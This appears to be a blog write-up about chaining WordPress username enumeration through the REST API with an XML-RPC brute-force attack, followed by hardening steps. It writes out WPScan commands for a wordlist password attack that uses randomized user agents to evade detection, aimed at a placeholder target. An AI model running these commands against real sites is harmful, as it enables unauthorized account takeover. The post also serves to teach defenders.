How I Discovered a WordPress Vulnerability: Exposed Usernames & XML-RPC Exploitation

1 month ago 35

BOOK THIS SPACE FOR AD

ARTICLE AD

WordPress is one of the most widely used content management systems (CMS) worldwide. However, some of its features can introduce security risks. In this article, I will demonstrate how I discovered username enumeration and XML-RPC brute force vulnerabilities on a WordPress website.

This method allows attackers to gain unauthorized access, but I will also cover how to fix these issues.

Disclaimer: This article is for educational purposes only. Do not attempt these techniques on unauthorized websites.

Credit: DALL-E

Why is Username Enumeration a Problem?

WordPress exposes user information via the REST API (/wp-json/wp/v2/users). Attackers can use this to discover valid usernames, making brute force attacks easier.

How I Found It

Checking the REST API Endpoint
I visited the following URL in a browser:https://[TARGET_WEBSITE]/wp-json/wp/v2/users

2. Reviewing the JSON Response
The response contained user details, including a username:

[
{
"id": 2,
"name": "[DISPLAY_NAME]",
"slug": "[EXPOSED_USERNAME]",
"link": "https://[TARGET_WEBSITE]/author/[EXPOSED_USERNAME]/"
}
]The slug field ([EXPOSED_USERNAME]) is likely the actual WordPress username.Now, I had a valid username to target for brute force attacks.

What is XML-RPC?

XML-RPC (xmlrpc.php) allows remote interactions with WordPress, but it can be abused for brute force attacks, allowing multiple password attempts in a single request.

How I Found It

Checking if XML-RPC is Enabled Using WPScan
I ran the following command in WPScan:wpscan --url https://[TARGET_WEBSITE]/ --random-user-agent

2. WPScan Output:
The scan confirmed that XML-RPC was enabled:

[+] XML-RPC seems to be enabled: https://[TARGET_WEBSITE]/xmlrpc.php
| Found By: Direct Access (Aggressive Detection)
| Confidence: 100%
| References:
| - http://codex.wordpress.org/XML-RPC_Pingback_API
| - https://www.rapid7.com/db/modules/auxiliary/scanner/http/wordpress_ghost_scanner/
| - https://www.rapid7.com/db/modules/auxiliary/dos/http/wordpress_xmlrpc_dos/
| - https://www.rapid7.com/db/modules/auxiliary/scanner/http/wordpress_xmlrpc_login/
| - https://www.rapid7.com/db/modules/auxiliary/scanner/http/wordpress_pingback_access/Since XML-RPC was enabled, I could proceed with a brute force attack.

Why XML-RPC is Dangerous for Brute Force Attacks

XML-RPC allows attackers to send multiple password attempts in a single request using the system.multicall method.Many security plugins do not properly monitor XML-RPC requests, making it an undetectable attack method.

How I Performed the Attack

Launching a Brute Force Attack with WPScan
Since I already had the username [EXPOSED_USERNAME], I attempted a brute force attack using WPScan:wpscan --url https://[TARGET_WEBSITE]/ -U '[EXPOSED_USERNAME]' -P 'rockyou.txt' --password-attack xmlrpc --random-user-agent-U '[EXPOSED_USERNAME]': Specifies the target username.-P 'rockyou.txt': Uses a wordlist of common passwords.--password-attack xmlrpc: Tells WPScan to perform the attack via XML-RPC instead of the standard login page.--random-user-agent: Randomizes the user agent to evade basic detection.

2. Observing the Results

If successful, WPScan returns the correct password, allowing unauthorized access to the WordPress admin panel.

What Can an Attacker Do?

Gain Unauthorized Access — If a weak password is cracked, the attacker can log in and modify site content.Privilege Escalation — If the compromised account has admin privileges, the entire site can be taken over.Data Theft — Attackers can access user data, private posts, and other sensitive information.Website Defacement or Malware Injection — The attacker can modify the website to distribute malware or phishing pages.

1. Disable Username Enumeration

Prevent user enumeration by restricting the /wp-json/wp/v2/users endpoint:

add_filter('rest_endpoints', function ($endpoints) {
if (isset($endpoints['/wp/v2/users'])) {
unset($endpoints['/wp/v2/users']);
}
return $endpoints;
});

2. Disable XML-RPC

If XML-RPC is not needed, disable it completely:

add_filter('xmlrpc_enabled', '__return_false');

Alternatively, block access via .htaccess:

<Files xmlrpc.php>
Order Deny,Allow
Deny from all
</Files>

3. Enforce Strong Passwords

Require strong passwords for all WordPress users and enable Two-Factor Authentication (2FA).

4. Use Security Plugins

Install security plugins like Wordfence or iThemes Security to monitor login attempts and block brute force attacks.

5. Limit Login Attempts

Use plugins to limit failed login attempts and block IPs after multiple failures.

This case study demonstrates how attackers can chain multiple vulnerabilities — username enumeration and XML-RPC brute force attacks — to compromise a WordPress site. Website administrators must take proactive security measures to prevent such attacks.

If you run a WordPress site, take action now by disabling XML-RPC, hiding usernames, and enforcing strong authentication policies to keep your website secure!

Have you encountered similar vulnerabilities before? Let me know in the comments!

Read Entire Article